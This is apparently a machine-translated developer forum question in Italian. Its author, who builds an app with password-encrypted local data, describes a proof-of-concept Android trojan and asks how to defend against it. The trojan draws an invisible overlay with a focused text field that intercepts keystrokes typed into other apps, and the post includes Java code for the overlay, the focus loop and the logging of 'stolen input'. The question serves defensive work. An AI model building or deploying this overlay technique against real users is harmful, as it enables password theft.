Vorrei iniziare chiarendo, la mia domanda non riguarda gli attacchi TapJacking su Android e il mio knowledge filterTouchesWhenObscured non aiuterà nel mio caso.
Ecco lo scenario: Lavoro su un'applicazione che contiene informazioni sensibili memorizzate su di essa e che sono crittografate localmente utilizzando una password fornita dall'utente. Pertanto quando l'utente apre l'applicazione devono effettuare il login digitando la propria password. Se questa password fosse mai stornata, comprometterebbe l'intera applicazione.
Nel frattempo, sono stato anche in grado di creare un'applicazione stile cavallo di Troia che si è dimostrata in grado di rubare input dell'utente disattento. L'applicazione trojan prototipo effettua le seguenti operazioni:
-
L'utente scaricherà e installerà questa applicazione da Google Play Store o caricandola lateralmente. In ogni caso, questa non è la parte importante.
-
L'utente apre l'app malvagia con le simpatiche foto di gatti e poi si allontana dall'applicazione, lasciandola sullo sfondo ma non chiudendola.
-
onPause, l'applicazione malvagia imposta una serie di timer per una quantità predeterminata di tempo in cui ogni timer avvierà un servizio malvagio. Ogni servizio malvagio creato una volta genererà uno schermo invisibile che contiene un campo EditText invisibile che aprirà automaticamente la messa a fuoco e aprirà la tastiera virtuale.
-
Se i tempi sono corretti, l'utente potrebbe trovarsi nel mezzo di digitare informazioni sensibili come la loro password nella nostra applicazione. Quindi l'utente può fare clic sulla password inserita nell'app, quindi mentre digita la propria password, l'overlay invisibile viene costruito e la tastiera si sposta dal campo della password che l'utente vede ancora sullo schermo per l'invisibile EditText. L'utente digita la sua password rapidamente dalla memoria muscolare, quindi premi Invio sulla tastiera per capire che non ha inserito nulla nel campo della password. Infastiditi, fanno di nuovo clic sul campo della password e il servizio malvagio fa scattare un clickListener sull'overlay invisibile, segnalandone il tempo di andare e chiude il servizio. L'utente ha ora il controllo normale del proprio numero di telefono.
Un prototipo per la logica di cui sopra è stato creato e dimostrato con successo. Fa affidamento su un'incredibile fortuna per ottenere i tempi corretti, ma per un veloce prototipo di attacco sviluppato in meno di qualche ora, è estremamente efficace.
Ecco un codice di esempio del prototipo di attacco:
final WindowManager.LayoutParams params =
new WindowManager.LayoutParams(0, 0,
WindowManager.LayoutParams.TYPE_PHONE, 0,
PixelFormat.TRANSLUCENT);
View floatyView;
params.gravity = Gravity.CENTER | Gravity.START;
params.x = 0;
params.y = 0;
FrameLayout interceptorLayout = new FrameLayout(this);
floatyView = ((LayoutInflater) getSystemService(Context.LAYOUT_INFLATER_SERVICE)).inflate(R.layout.floating_view, interceptorLayout);
floatyView.setOnTouchListener(this);
windowManager.addView(floatyView, params);
final EditText editText = (EditText) floatyView.findViewById(R.id.myEditText);
final ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
executorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
editText.requestFocus();
showKeyboard(editText);
}
}, 10, 10, TimeUnit.MILLISECONDS);
@Override
public boolean onTouch(View view, MotionEvent motionEvent) {
final EditText editText = (EditText) floatyView.findViewById(R.id.myEditText);
Log.d("EvilApp", "Stolen input = " + editText.getText());
windowManager.removeView(floatyView);
this.stopSelf();
return true;
}
Quindi, con tutto ciò detto, c'è qualche mezzo affidabile per dire ad Android che non può permettere ad altre app di sovrapporre la vista sulla tua app o un mezzo affidabile per rilevare quando un'altra applicazione ruba l'attenzione lontano dalla tua applicazione?
Grazie!